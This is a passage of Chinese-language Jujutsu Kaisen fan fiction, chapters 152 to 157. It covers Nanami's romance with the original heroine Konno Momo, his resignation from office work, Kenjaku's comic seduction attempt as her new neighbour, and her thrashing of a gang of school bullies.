早知道昨天晚上就把衣服扔进洗衣机了,但那个时候他实在是太累,连续几个小时的高强度运动,比祓除特级咒灵还要让人疲倦。 不能再想了,食髓知味的女朋友,某种意义上来说,确实比特级咒灵能难应付呢…… 最后只能回复两个字——可以。 七海建人自暴自弃地想:今晚不知道要加班到什么时候了。 等等,这真的不是电视里演的为了逃避妻子而加班的无能丈夫吗? 中午的时候,七海建人找了个无人的角落,打了一通电话给她。 好在今野桃还没出门,正准备叫一份外卖送到家里。 “我下班的时候,给你带一套衣服回去吧。”他无奈地说道,“真是抱歉,没注意弄脏了你的衣服。” “确实要好好反省一下啦,七海先生。”女人笑吟吟的声音从听筒对面传来,“谁让你没忍住呢。” 七海建人哽住,下意识地四下张望,没看见人影出没才松了一口气。 他的身体好像有点不太妙,食髓知味的人或许不止她一个。 仿佛洞察了什么,女人哼笑了两声,说道:“那我就在家里等你回来咯,好好工作呀,七海先生。” 七海建人听着一阵忙音,额头无力地抵在了墙上,冰凉的触感并不能让他缓和半分。 工作……工作就是狗屎!!。 叮咚—— 门铃忽然响了。 咦,外卖送得这么快吗? 今野桃把衣服整理好,用一个夹子在后面夹住领口,让衣服看起来合身了许多。 她小跑着走到了玄关处,打开了门—— 是一个非常熟悉的人影。 那人没穿标志性的袈裟,而是套了件熨得笔挺的白色衬衫,袖口挽到手肘处,露出线条分明的小臂。深色西裤包裹着修长的双腿,长发松松地挽在脑后,几缕不听话的发丝垂在额前。 他的额头上带着一圈淡淡的缝合线,但丝毫不妨碍他的帅气。他弯了弯眼睛,笑得温柔又和善。 “你好,我是隔壁新搬来的邻居,我叫夏油杰。”他微微欠身,声音夹得快冒烟了,“初次拜访,请收下这个吧,这是我自己烤的小饼干。” 他嘴角挂着恰到好处的微笑,眼角微微下垂,看起来人畜无害。 小饼干用一个透明的玻璃纸包着,上面系着的丝带打成了一朵漂亮的花。 真的很难想象是他做出来的。 今野桃垂眸,看了看纸袋,又看了看他,表情一时间有点恍惚。 这是给她干哪来了?这不对吧?! 大概是见她久久没有接过,他的表情有些委屈和失落。 “是不喜欢饼干吗,夫人?” 第153章 夏油杰……啊不是,应该叫他羂索才对。 这个总是隐藏在幕后的黑手,此时此刻就站在房门面前,大大方方地展示着自己的“美貌”,那双狭长的的眼睛在看见女人呆住、脸上浮现一闪而过的惊艳后,心中得意地暗笑。 同时还有点苦涩。 上天知道,当他某天睡醒后,脑袋里突然冒出来无数不存在的记忆时,有多么慌张。 这些记忆都围绕着一个主角——一个叫做今野桃的女人。 这个女人,她在千年前是天皇,诅咒之王都是她的情人;千年后分别勾引了六眼神子、咒灵操使、天与咒缚、十影继承者……总之!他的每颗棋子好像最后都成为了她的裙下之臣。 这对吗?! 其实裙下之臣什么的他并不在意,但问题是,每一次啊,每一次她都能成功破坏他的计划! 两面宿傩就不必说了,老虎硬是被她调成了狗啊!禅院甚尔跟了她后都金盆洗手了!为了六眼神子她直接把他的根基总监部给挖了,还设计埋伏他! 他不过是一个小小的诅咒师,用得着三个特级来打他吗?好不容易跑出了一点距离,又被跟上来的禅院甚尔补刀了。 他真的死得好惨啊! 后来终于有一次她和夏油杰反目成仇,她被那个男人杀掉了,他还没来得及高兴,她竟然直接原地化身为特级过咒怨灵,把他的整个棋盘都掀翻了! 她从东京砍到京都,从天皇府砍到东京塔,杀得血流成河,总监部十不存一,他根本不敢冒头! 就 这,两人最后还幸福甜蜜地生活在一起了? 这合理吗? 这就是恋爱脑吗?! 羂索百思不得其解。 事实证明,真的有这么可怕。 羂索觉得自己这辈子都忘不掉她的那句话—— “因为你挡住了我爱情的路。” 呵呵,爱情的路。 呵呵,想安安心心地谈恋爱,所以让他去死是吗。 好,很好。 羂索一怒之下…… 怒了一下。 理由很简单,因为他打不过她。 不仅打不过,而且貌似还从智商上被碾压了。 他辛辛苦苦筹谋千年的计划,总是能轻而易举地被她破坏。她仿佛一眼就从看似混乱的毛线球团里找到最主要的那根,然后抽丝剥茧地把它清出来。 羂索就这样一边整理着多出来的记忆,一边看着“自己”反复死在她的手里。 不对吧? 他不是幕后黑手吗? 为什么逼格降得那么快,好像变成了一个笑话? 羂索坐在海边,吹着海风沉思许久,忍住了跳下去的恐怖念头。 他是绝对不会放弃的! 怀抱着坚定的信念,他先是去找了两面宿傩,把手指喂给了一个容器,从他那里得到了明确的回复。 两面宿傩不认识那个叫做今野桃的女人,千年前的那个天皇,他也确定不是个女人。 很好,排除了一条线。 紧接着,他又去搜索了一遍禅院,确认没有叫做“禅院桃”的女人。 接下来是东京高专,很好,也不存在这个人。 京都高专也没有。 日比谷高中也没有。 夏油杰的身边也没有…… 太好了!都没有! 这个女人仿佛凭空消失,一点踪迹都无。 羂索的嘴角勾起一抹胜券在握的弧度,指腹轻轻摩挲着下巴。他确信自己绝对是无数平行时空中最幸运的那个——难怪那些记忆会选择涌入他的脑海,想必是其他时空的自己嫉妒得发狂了吧? 可惜这份喜悦没能维持多长时间。当收到咒灵那边传来消息,说真人突然死亡的时候,另一只靴子终于掉下来了。 “是谁杀的?”他用一种平静到诡异的语气问道,指尖不自觉地掐进了掌心。 漏壶的头顶喷发着岩浆,它恶声恶气地说道:“是个女人!夏油,我要给真人报仇!” 花御和陀艮站在漏壶的身边,表明了自己的立场。 羂索深深地叹了口气:“我知道了,我会去调查清楚的。在此之前,你们不要轻举妄动。” “但是……” “我说了!”羂索的声音突然变大,把三个特级咒灵吓了一跳,他的脸上露出了他自己都不知道的破防模样,额角的青筋正在突突跳动,“不要去找她!你们不是她的对手,明白吗!” 三个特级咒灵愣愣点头。 “行了,有消息我会通知你们的!”羂索一甩袖子掩饰自己的失态,转身离开了这片领域。 漏壶不明所以地挠了挠头:“他这么生气干什么,平时也没感觉他和真人关系很好啊。” 谁知道呢。 羂索很快拿到了这个世界里“今野桃”的资料,原来她竟然混迹在表世界,披上了一层普通人的外衣,像千千万万个普通人一样生活着。 这谁能找得到啊。 羂索承认,在看见她才刚刚觉醒并且从未接触过咒术界的时候,他有一瞬间认为自己是能够杀掉她的。 但下一秒,看见她三拳单杀真人后他冷静了。 果然是怪胎啊! 这样的存在,如果没有必胜的把握,是绝对不能贸然出手的。 该怎么办才好呢…… 羂索陷入了棘手的困境中。 直到他无意间从手机屏幕里看到了自己的脸,一点灵光从大脑中闪过。 他现在是夏油杰。 而夏油杰,也是她喜欢过的人。 这说明什么?说明只要时机巧妙,她也并不是不能爱上自己! 想到那个恋爱脑为了对象做了多少事情,羂索忍不住就怦然心动了。 站在镜子前,羂索仔细打量了一下自己的这副身体,满意地想—— 七海建人和夏油杰比起来,还是有点差距的。 何必与她为敌,把她挖到自己这个阵营岂不更妙? 只要锄头挥得好,没有墙角挖不倒! 羂索有了决定。 他用物理手段得到了附近的一间公寓,然后把自己好好打扮了一下。 果然,她没有经受住考验。 迟疑了许久,她伸手拿走了那袋饼干。指尖擦过时,羂索不动声色地握了握。 “谢谢。”她好似没有察觉,含笑说道,“改天我做了甜点也请你吃。” 看到她接过饼干时微颤的睫毛、抿起的双唇、若有所思的神色,羂索确信自己望见了胜利的曙光。 “您客气了。”他风度翩翩地颔首,长发从肩头滑落一道优雅的弧线,举手投足间都是矜贵气质,“那么,期待您的甜点。” 门关上,两人相背而行。 今野桃吐了吐舌头:“呕,好油。” 真是奇了怪了,为什么夏油杰本人就没这个感觉。果然皮囊比不过灵魂重要。 再好看的皮囊,也遮不住灵魂上那股令人作呕的腐朽气味。 不行,必须看看自己英俊帅气的男朋友洗洗眼睛! 第154章 今野桃没把羂索放在眼里。 虽然他看起来非常想要“加入”这个家,但不能提供奖金的NPC就是完全不会被她放在心上,只配呆在犄角旮旯。 距离她接下委托已经过去了数年之久,当初羂索对她造成的伤害早已结痂脱落,再不见一点疤痕。当然,最主要的还是她已经给自己报仇了。 ——她把羂索正着切、反着切、痛快地切、折磨地切了太多次,她自己都记不清楚了。 曾经她看见脑花就恶心,现在已然可以面不改色地给脑花切片。 所以如果不是羂索自己送上门,她真的好久没有主动去找过他。 这一次他好像想玩点什么新花招,那就让她见识见识好了。 目前来看,有可能是……呃……美人计? 今野桃不太确定地想。 啧,如果他上来就是给她一拳,她自然能从容应对。 但是美人计……抱歉,玩家真的会吃这一套。 心里一边啧啧叹着,今野桃随手将装有小饼干的袋子扔到了一边。 她躺在不是很柔软的沙发上,感受到真皮的触感。时间一分一秒地走过,她慢慢闭上了眼睛。 娜娜米今天要加班到什么时候呢? 直到天色全黑,夜色浓郁得如同刚刚化开的墨汁,七海建人才阴沉着脸从办公楼走出来。 他的手里拎着几个袋子,这是他趁着晚饭的时候去附近买的衣服和日用品。 他比自己预计的要晚了两个小时才处理完工作。 无聊的报表、密密麻麻的数字、总是拖后腿的同事……这些都令他感到厌烦。眼看着时间要来不及了,他连忙先去买了衣服。好在此时的办公室里也没剩下多少人,大家都在忙碌于自己的工作,没人注意到他的动作。 出租车停在了公寓楼下,在上楼前,七海建人抬起头,注意到房间里的灯是暗的。 现在她应该已经睡了吧? 也不知道有没有吃晚饭。 钥匙发出清脆的碰撞声,质量优秀的大门丝滑地打开,七海建人在黑暗之中望见了空荡荡的客厅。 她不在吗? 反手将门关上的下一秒,他被“袭击”了。 一团黑影从侧面扑来,张牙舞爪地冲向着他的腰部。奈何他的两只手都拿了东西,一时间竟然无法抵抗,能被她攻击个正着。 “哈哈,看我抓住了什么!” 柔软的手臂环绕住他的腰肢,胡乱地在坚实的背肌上摸来摸去,仿佛踩奶的猫咪。 “一个晚回家的坏男朋友!” 七海建人往后仰着,试图避开她的手,背后却贴上了冰凉的门板。 “等等……”他微微侧过头,原本梳理整齐的发丝垂落下来,凌乱地耷拉在鬓边,“我……” “等什么。”她像只八爪鱼一样扒拉在他的身上,脸颊在他锁骨位置蹭来蹭去,“你都不知道我今天有多——么想你!” 七海建人的脸腾地一下红了。 他的喉结上下滑动,垂眼看到了此时女友的装扮。 亲眼所见比在照片里看到的更有冲击力。圆润的肩头在黑夜里散发着珍珠似的光泽,精致的锁骨上还残留着他情难自禁时咬下的痕迹,一路往下蔓延至看不到的地方。 “先等一下。”天知道七海建人是花了多大的意志力才说出这句话,他的声音哑得不像话,“……我还没有洗澡。” 可惜激动的女朋友没有给他这点时间。 她咬住了他的耳垂,含在齿间厮磨,温热的呼吸钻进耳道。 “没关系。”她含糊不清地说道,“我洗过了,你可以亲亲我。” 伴随着袋子落地发出的声音,男人的手掌终于无法克制地落在了女人的身上,滚烫的掌心在她腰侧留下灼烧般的触感。 眼镜被取下后随手扔在了玄关的鞋柜上,唇瓣相接,呼吸变成了急促的喘息,然后又被吞下。 已经来不及回到卧室了,他揽着她的腰,扶着她的肩膀,一边往旧的痕迹上覆盖新的痕迹,一边压着她一点一点倒在了沙发上。 宽大的沙发足够躺下两个人,今野桃被抵在冰凉的皮面上,灼热的鼻息喷在她的脖颈间,像一团火焰。 她半眯着眼睛,浓密的睫毛遮住贪婪而不知餍足的光彩。 “我真的好想你啊,七海先生。” “想要跟你一直、一直在一起呢。” …… 沙发被弄脏了。 七海建人仍然惦记着自己还没洗澡。 今野桃咂了一下嘴,说道:“好吧,那我们去浴室。” “……?”男人犹豫了一下,“我不是这个意思……” “不可以吗?”今野桃的两根食指对在一起,可怜兮兮地问道。 七海建人沉默许久,将她抱了起来。 浴室的水声响起,哗啦哗啦的声音掩盖了许多微妙的动静。 …… 还未擦干的水迹在蓬松的床铺上滚了两圈后就不见了踪影,七海建人又一次被按在了熟悉的位置。 但上一次他还有余力扭转形势,翻身做主。这一次,他就只剩下从喉咙里挤出断断续续声音的力气了。 偏偏这副二十多年才尝到不一样乐趣的身体太不争气,该兴奋的地方一点不觉得疲倦。 当今野桃跨坐在他的腰上,手指撑在块垒分明的腹肌间时,他绝望地发现自己的身体居然还能给出反应。 “没关系,你不用动。”她伸出一点舌尖,舔过嘴唇。 七海建人用手臂遮住了眼睛,没让她看见自己的狼狈模样。 软腻的肌肤贴了过来,他再次被拽下了欢愉的深渊。 …… “七海先生不行了吗?好吧,那我们就休息吧。”女友贴心地说道,声音甜得像融化的棉花糖,指尖却坏心眼地在他胸口来回抚摸。 “不。”七海建人咬着后槽牙挤出这句话,一把扣住她作乱的手腕,“我可以。” …… 天亮了。 七海建人睁开眼睛,从窗帘的缝隙可以看见外面刺眼的阳光。他小心翼翼地把横在胸口的柔软手臂拿下来,膝盖在脚掌接触到地面的瞬间软了下去。 如果不是反应够快,扶住了旁边的柜子,他差点摔在地上。 七海建人的脸上流露出了些许迷茫。 这、这难道就是纵欲过度吗…… 他裹着浴袍艰难地移动到了客厅,从地上乱七八糟的衣服堆里找到了自己的外套。 果不其然,外套口袋里的手机已经响过很多遍了。屏幕上全是未接来电,看得他太阳穴突突直跳。 他回拨给了上司,得到了对方充满怒火的责骂。 “……抱歉,我今天生病了。” 沙哑得像被砂纸打磨过的嗓音取得了对方的信任,上司闻言,怒气稍平,批了他两个小时的假。 两个小时……真是闻者伤心,见者流泪。 资本家没一个好东西! 都是狗屎! 七海建人疲倦地将自己打理好,虽然没有胃口,但仍然还是准备了两份早餐,机械地把胃填满。 给女友准备的那份放在了冰箱,临到离开时,他悄无声息地走进了卧室,看了一眼她甜美的睡颜,冷硬的心软了下来。 他轻柔地在她的脸颊上落下了一个吻,原本均匀的呼吸被打断,她咕哝了两声,手在空中挥了挥,试图抓住他。 七海建人握住了她的手指,轻轻放回了被子里。空调敬职敬责地工作着,让室内保持一个舒适的温度。 他不由自主地叹了口气,离开了温暖的家。 他都不知道自己是怎么飘到办公室的,坐下的时候整个人都如同游魂,陷进转椅时,体重压得椅子发出不堪重负的吱啊声。 邻座的同事偷瞄了一眼他青黑的眼圈,识相地把到嘴边的闲聊咽了回去。 但工作还是做不完。 七海建人怔怔地看着眼前的报表,电脑屏幕泛着惨白的光,报表上的数字扭曲成蠕动的蚯蚓。 他开始无数次地思索着同一个问题——这份工作,真的很重要吗? 值得他消耗宝贵的时间在这上面吗? 虽然不管是什么工作都是浪费人生,但和金融这种完全虚拟的行业相比,咒术师似乎也变得更有意义了。 “喂,七海。” 上司走到了他的身后,不满地敲了敲桌子。 “你最近是怎么了,要专心工作啊。” 他带来了一大堆的新任务,要求他今天完成。 看样子,今天又要加班了。 值得吗?周而复始,人的一生就这样被固定在了狭窄的空间里。 七海建人双手撑着脑袋,两眼发直。 良久,他从位置上站了起来。 他走到打印机前,把自己很早就写好了辞呈 打印出来,推开了上司的办公室门。 最能干活的牛马要走了,上司终于知道挽留。他提出要给七海建人加薪,被拒绝了。又提出给他放假,仍然被拒绝。 “那就滚吧!真以为这个世界缺了你就转不了了吗!”上司恼羞成怒地破口大骂。 七海建人只觉得如释重负,他推了推眼镜,笑道:“是的,不会,但我想,我对于有的人来说,我还是很重要的。” 把门关上,七海建人收拾起工位上本就不多的东西。 同事滑动椅子,溜了过来。 “七海君要辞职吗?”他好奇地问道。 “嗯。”七海建人颔首,脸上没有半分失去工作的苦闷,反而非常高兴。 同事压低了声音:“七海君是不是有女朋友了?” 七海建人动作一顿,随即说道:“是的。” 同事咽了口口水,又问:“该、该不会是便利店的那个……” “没错。”七海建人抱起箱子,少见地对同事笑了笑,“走了,再见。” “再、再见……” 走出办公楼,阳光倾泻在身上,他下意识眯起眼睛,感受着久违的轻松感从肩头一点点卸下。纸箱的边缘硌着他的胸口,带来活着的真实感。 新的生活要开始了。 七海建人眉眼舒展。 下一瞬,他僵住了,后颈的汗毛突然竖了起来。 没有犹豫,他猛地转身,皮鞋在大理石地面上擦出急促的声响。 身后传来一个声音—— “娜娜米~!” 第155章 七海建人跑得很快,五条悟追得也很快,白色头发在人流中格外扎眼,他像块甩不掉的牛皮糖,两人在大街上演了一场追逐战。可惜最后还是成熟的大人更要一点脸面,在后面那人的大喊大叫中停下了脚步。 他深吸了一口气,不情不愿地转身。 “有什么事吗,五条先生。” “哈哈,好冷漠啊,娜娜米!”五条悟完全不懂什么叫做社交距离,把他当做支架,整个倒了过来,“我是特地来找你的呀!” “请直说吧。”七海建人不停地推着眼镜来掩饰心中的烦躁,“我很忙。” “咦,你不是刚刚离职吗?怎么会很忙呢?”话说到一半,五条悟突然止住了,他好像恍然大悟了什么,“你难道……” “总之,我真的很忙。”七海建人打断了他的话,坚定地回道,“如果不是非我不可的事情,就请去找别人吧。” 五条悟掏了掏耳朵,嗯嗯啊啊地点头,等他说完后才开口道:“这件事确实只有你才能做到啦,所以只能来拜托你咯。” 正如七海建人自己所说,虽然他不尊重五条悟,但他信任、信赖他。 果然,五条悟确确实实是有正经事找他。 “我有个学生,需要你来帮忙带一带。”蒙着眼罩的男人在认真起来的时候就很有气场了,他反手用大拇指揉了揉额头,苦恼地说道,“我没办法一直带着他,但交给别人我又不放心。” “谁?” “虎杖悠仁,一个十五岁的高中生。”五条悟眼罩下的嘴角抿成一条直线,“他不小心把两面宿傩的手指吃下去了。” 两面宿傩的手指?七海建人有点惊愕,眉头拧紧,这是能不小心吃下去的东西吗? 五条悟耸了耸肩膀,语气无奈:“我也不知道他怎么吃的,他现在已经成为了诅咒之王的容器,总监部那边是打算处死他,或者逼迫他吃下全部的手指后再杀掉他。我觉得不行,怎么能随意剥夺少年人的青春呢。” 七海建人沉默不语。 良久,他叹气,妥协地说道:“我见一见他吧。” “嗯嗯,我相信你们一定会合得来的!”五条悟高兴地说道。 七海建人将视线移开。 ——那可不一定。 在见到虎杖悠仁的第一眼,他就知道他和这个粉发少年合不来。 无他,虎杖悠仁身上那股子劲儿简直和五条悟如出一辙——自来熟得让人头疼,笑起来露出一口白牙,连站姿都带着那种没心没肺的随意感。更别提现在,这少年正眨巴着眼睛,毫不避讳地打量着他,活像在看什么珍稀动物。 明明大家都还不熟,就大大咧咧地询问着别人私生活的问题。 “这位就是我非常值得信赖的后辈!不做上班族了的咒术师,七海建人!”五条悟揽着他的肩膀,将七海建人介绍给虎杖悠仁,“因为这家伙有去公司正经上过班,所以人相当可靠哦!” 并不想这样被他介绍。 七海建人这么想着,也这么说了。 可惜在场的另外两人都对他的这句话毫无反应。 “而且,娜娜米跟我们是不一样的!”五条神秘兮兮地压低了声音,引起了虎杖悠仁的注意。 他好奇地问道:“是什么地方不一样呢?” 七海建人想捂住身边这位曾经的学长的嘴巴。 “他——有——女——朋——友!”五条悟激动地挥舞着手臂,洒出了几朵小花花,“想不到吧!” “噢——!”虎杖悠仁很是捧场地发出了惊叹。 七海建人的额头暴出了青筋,太阳穴突突直跳,后槽牙咬得发酸。 冷静,旁边这位可是咒术界最强,他不可能打得过的…… “其实我也是刚刚才知道娜娜米真的有女朋友了,想知道我怎么发现的吗?”五条悟抬起下巴,神色得意,显然在让另外两人来询问他。 但七海建人冷漠相对,只有他的好学生积极接话。 “五条老师是怎么发现的呢?” “当当当!就是靠这个哦!”一团咒力凝聚在五条悟的指尖,他将它飞快地涂抹在了七海建人的衣领上,惹来了对方的怒瞪,“咒力残秽!” 这对虎杖悠仁来说是一个陌生的词语,他从善如流地继续问道:“什么是咒力残秽呀,老师。” “你可以理解成使用术式后留下的痕迹。”五条悟笑嘻嘻地比划着,完全无视了七海建人杀人的目光,“每个人都是不一样的。” 虎杖悠仁挠了挠头:“可是我只看见了五条老师的咒力残秽。” “那是因为,悠仁没有集中注意力哦。”五条悟循循善诱,突然正经起来,竖起一根手指说道,“平时的我们都依靠着眼睛去观察咒术师和咒灵的本体,忽略了那些留下的痕迹。呐呐,悠仁来试试看,全神贯注地寻找娜娜米身上的咒力残秽吧!” 七海建人的拳头捏得咔咔作响。 虎杖悠仁把手放在眼睛的两边,圆圆的眼睛眯了起来,几秒钟后,他发出了惊喜的声音:“我看见了!五条老师!” 七海建人的领口上沾染着五条悟的咒力,四周环绕着属于他自己的咒力,但除此之外,还有一股完全不同的咒力残秽包裹着他,从里到外,几乎将他整个人都吞没。 虎杖悠仁迷茫地问道,手指在虚空中划来划去:“为什么别人的咒力会从自己的身体里冒出来啊……” “哈哈,那当然是因为……” 五条悟的嘴巴还是被七海建人捂住了,他按着这个不着调的学长的脑袋,指节都因为用力而发白,好像恨不得把他捂死,目光阴沉沉地看着他。 “不要教给学生奇怪的知识!” 五条悟哪怕被捂住了嘴巴,仍然要含含糊糊地抗议:“什么奇怪的知识,这都是正经知识!” 七海建人二话不说转头就走。 这糟心孩子,谁爱带谁带吧! “哎呀哎呀,我错了我错了!”五条悟连忙勾住他脖子,把人拽了回来,笑嘻嘻地说道,“悠仁接下来的那个一级任务就拜托给你了,我手里还有两个特级任务没做呢!” “……知道了!”靠谱又太有责任感的大人充满怨气地答应了下来。 狭路相逢,果然还是更不要脸的赢了。 虎杖悠仁一边依依不舍地和心爱的五条老师挥手告别,一边跟着新的老师离开。他看着新老师冷酷的背影,脑袋里仍然在想那个问题。 ——到底做什么,才会让原本稀薄的咒力残秽从里到外地渗透出来呢? 等等,该不会是那个吧?! 虎杖悠仁突然倒吸了一口气,脸涨得通红,走路姿势都不太对劲了。 这算是标记吗?七海老师跟他的女朋友感情还、还挺好的哈…… 独一无二的咒力覆盖在他的身上,张牙舞爪地宣告着所有权…… 暮色四合,七海建人拖着疲惫的身躯往家里走。他已经迫不及待地想要见到自己的女朋友,只有可爱的、温柔的、美丽的女友才能安抚他现在痛苦的心情。或许一个亲亲会更好? 落入五条悟的“魔掌”,和上班相比,真的很难说二者谁更痛苦…… 当他路过一条巷子时,奇怪的动静引起了他的注意。 像是在打架?这种事情,还是制止比较好吧。他迟疑了一下,走了过去。 只见昏暗曲折的巷子里,一个黑发男生抓住他女朋友的袖子,泫然欲泣。 “我、我很乖的,姐姐……” 七海建人脑袋里一直绷着的弦断了。 第156章 铅灰色的云层像被水浸透的棉絮沉沉地压下来,几只乌鸦掠过天际,嘶哑的鸣叫划破了放课后校园的寂静。吉野顺平贴着墙根的阴影前行,单薄的肩膀微微内扣,仿佛这样就能把自己藏进砖墙的缝隙里。 但即便是他已经如此小心了,却仍然无法避开欺凌。 三男一女把他拖到了学校的后门,用力甩在了地上。 吉野顺平的后背抵着潮湿的砖墙,青苔的腥气混着尿液发酵的酸味直往鼻腔里钻。 “好讨厌啊,他偷偷看我的胸诶。”刻意画着浓妆的女生矫揉造作地掐着嗓子说话,“眼神超级下流的!” 三个男生嘻嘻哈哈地说道:“还不是因为翼的胸太大了嘛。” “讨厌~”名为“翼”的女生推了推旁边男生的肩膀,旁若无人地开始打情骂俏。 他们完全不像是高中生,言谈举止带着自以为的成熟,跟垃圾桶里混在一起的垃圾无异。 吉野顺平捂着被踢中的腹部,艰难地坐起身:“我没有。” 男生毫不客气地又是一脚,将他整个人踹翻在地,他一边咳嗽,一边听到男生说道:“什么啊,你是说翼在撒谎吗!” 吉野顺平抬眼,从三个男生的包围圈里,看见站在最外侧女生嘴角扬起的得意笑容。 ——她在用他来确认自己的地位,并以此为乐。 “还敢偷看!”这一脚踢在了吉野顺平的脸上,摩擦的伤口沁出血丝。他下意识地抬起手想要挡住。 “竟然还敢反抗!你这个偷窥别人的混蛋!” 连续的殴打让吉野顺平痛得蜷起了身体,他失去了反抗的力气。但即便如此、即便如此…… “翼同学并没有自己想象的那么可爱。”他的声音柔软中带着颤抖,平静得像是在陈述一个事实,也因此越发能激怒敌人,“他们三个也都知道,之所以会吹捧你、赞赏你,不过是因为你是个轻浮的女……” “闭嘴!”他们举起了拳头。 吉野顺平闭上了眼睛,弓着身把自己保护起来。 没关系的,只要忍耐、忍耐下去,他们觉得没意思了之后就会离开的…… 砰! 沉闷的打击声响起,女人的声音懒洋洋的,带着点漫不经心的嘲讽:“恼羞成怒了啊,他说的不是实话吗。” 吉野顺平抬起头,视线里闯入一道修长的身影。她穿着普通的白T恤,衣角随意地塞进牛仔裤里,脚上是一双普通的帆布鞋,洗刷得很干净。她的头发有些乱,像是刚睡醒随手扎起来的,几缕碎发垂在耳侧,被夕阳染成淡金色。 她甚至没用什么力气,只是轻轻一踹,那个刚刚还趾高气扬的男生就飞了出去,在草坪上滚了好几圈,压秃了一片青草。 “你、你是什么人啊!跟你有什么关系!”男生的校服蹭得满是草屑,脸上还残留着不可置信的扭曲表情。 另外两个男生不由自主地后退了两步,脸上浮现出了明显的畏惧。 女人愣了一下,随后微微皱起眉:“我是谁?唔……‘幽灵女鬼’的名号听过吗?” 幽灵女鬼? “什么乱七八糟的!完全没听过!”刚刚还在张牙舞爪的男生衡量了一下两边的战斗里,不情不愿地抛下一句狠话,“你给我等着!” 他们转身就想跑。 “什么啊,让你们走了吗。”女人追上去,左边一巴掌,右边一巴掌,短短几秒,三个男生和那个女生全趴下了,脸上都印着鲜红的掌印,连力道都分毫不差。 她倒是公平,每人都是一巴掌,女的也不例外。 “好了,现在我来断案。”女人拍了拍手,像是掸掉灰尘一样轻松,然后兴致勃勃单手托着下巴,“我刚刚听了一会儿,你们是因为他偷看这个女生,所以来为这个女生出头的对吧。那我问你……” 她看向吉野顺平,黑色的眸子清凌凌的,没有一丝恶意。 “你偷看了吗?” 吉野顺平立刻摇头,声音弱气但坚定:“没有,我没有偷看她。” “好,那你们说他偷看,你们有证据吗?”女人又转向躺倒在地的几个男生和女生。 “证、证据?”他们茫然开口,“还要什么证据?” 女人撇撇嘴,单独询问那个女生:“你说他偷看你,你有什么证据吗?视频、照片或者其他目击者都行。”她笑了笑,“不要撒谎哦,如果撒谎,我会把你的牙齿一颗一颗敲下来。” 女生惊恐地看着她,拼命摇头:“没有没有!他没有偷看我!” “你看,这不就真相大白了吗。”女人长舒了一口气,叉着腰,颇为自信地说道,“我可真是青天大老爷啊。” 几个男生偷偷摸摸地从地上爬起来,想要逃走,却被一脚踩在了背上。 “让你们走了吗,快道歉!” “对不起!吉野君!” 他们哭丧着脸,膝盖重重砸在地上,额头几乎贴到地面。 吉野顺平抿了抿嘴,看了一眼女人,没说话。 “还有呢?”女人不满地加了两分力气,碾了碾男生的背,“赔礼道歉,就光道歉啊,你的赔礼呢?” 男生们懂了,他们手忙脚乱地掏出钱包,把所有现金都抖了出来,纸币和硬币散了一地。 女人看都不看,直接塞给了吉野顺平。男生捧着一沓钱,表情不知所措。 “收着。”女人无所谓地说道,夕阳映在她的脸上,给她镀上了一层金边。 她看起来仿佛是天上的神明降世,将他从苦难中解救出来。 亦或者恐怖电影里,把主角带出困境的幽灵。 “我、我们可以走了吗?”男生们小心翼翼地开口道。 “等下。”女人咂了一下嘴,对吉野顺平道,“附近这种事情很多吗?我指的是打劫、勒索、霸凌之类的。” 吉野顺平扶着墙站起来,微微颔首:“是挺多的。” “很好,果然到新家的第一件事就是消灭害虫!”女人无奈地叹气,“看样子又得大费一番功夫了。” 她踢了一脚地上的男生:“喂,你认识这种人吗?喊一个过来,我就放你们一个走。” “害虫”都是一群一群生活的,抓到一个就能带出一片。 “我知道我知道!我现在就打电话!”男生哆嗦着手拨出了号码,“喂,永田……” 另外两个男生也赶紧打电话摇人。他们甚至狡猾地不止喊了一个,呵呵,等他们的兄弟都到了,一定要让这个女人好看! 来了一个,被打晕了。 来了两个,被打晕了。 来了三个,被打晕了。 …… 因为人数太多,他们后来转移到了巷子里。昏暗的深巷中,七歪八倒地躺了一地。 后来他们试图发起一波冲锋,结果跑在最前面的那个被女人拎起脚踝当做武器,直接扫倒了一大片。 痛苦的哀嚎声在小巷中回荡,路过的人都忍不住加快了脚步。 所以……“幽灵女鬼”的名号是这样传出来的吗? 吉野顺平背靠着斑驳的砖墙,指尖无意识地摩挲着墙面上凸起的砂砾。他的嘴角微微上扬,眼睛里闪烁着奇异的光彩,像是发现了什么珍贵的宝物。 放在电影里,这样的情节一定会让人看得大呼精彩吧! 他的悠闲姿态引起了混混们的不满。 “大、大姐头!”混混指着吉野顺平大喊道,“他也不是个好东西啊!他、他也做过坏事!!” “为了活命,连‘大姐头’都喊出来了吗,真没骨气。可惜我才不愿意做你们的大姐头。”女人翻了个白眼,将混混踢出去,“闭嘴,你太吵了!” 混混们顿时安静了。他们用怨毒的眼神追随着女人的身影,当看到她走向吉野顺平时,不少人脸上浮现出扭曲的快意,心中祈祷,没错,把他也揍一顿! 女人抽出一块手帕,擦了擦掌心的汗水,随后掐住了弱气男生的下巴。 “你做过坏事?什么坏事?”她左看看,右看看,突然噗嗤一笑,“你这样子,怎么看都是被欺负的那个吧?” 男生被迫抬起头,过长的刘海滑向两侧,露出那双湿漉漉的下垂眼,里面盛满了无辜和胆怯。 “我没做过坏事……”他小心翼翼地抓住了女人的袖子,用猫叫似的声音说道,“我、我很乖的,姐姐……” 女人挑眉,注视着他,放下手刚要开口说话,一个高大的人影出现在了巷口。 “小桃。”来人开口道。 吉野顺平看见女人的眼睛骤然亮了起来,她蹦蹦跳跳地跑到了男人的面前,一个助力,扑进了他的怀里。 “七海先生!”她甜滋滋地喊道,“你今天下班好早哦。” 七海建人摸了摸她的头顶,亲昵地蹭了蹭,用冷淡的目光望向了吉野顺平。 吉野顺平下意识地移开了视线。 第157章 午后的阳光斜斜地洒在街道上,今野桃站在新家门口,眯着眼睛伸了个懒腰。她自认为不是一个喜 欢打打杀杀的人,但来到新家,第一件事当然是“打扫卫生”。居住环境的好坏非常能影响人的心情,如果家里到处都是小虫子,谁也不会高兴。 因此这一天,她没有等到晚上,而是下午的时候就走出了家门。 在门口,她“恰好”碰见了扔垃圾的羂索。宽松的灰色卫衣套在他的身上,头发随意扎在脑后,乍一看竟像个大学生,连带着那张总是带着虚伪笑容的脸都显得清爽了几分。今野桃挑了挑眉,忍不住多看了两眼。 他温柔地对她打招呼,像是邻居家热心的青年:“夫人要出门吗?” “啊,是的,散散步,顺便接我爱人下班。”今野桃直白地开口道。 “原来如此,您的丈夫还真是幸福啊。”羂索的睫毛轻轻颤了颤,眼底闪过一丝恰到好处的失落,但很快又扬起笑容,微微欠身,语气诚恳,“那我就不打扰您了,如果有什么需要帮忙的,请尽管叫我。” 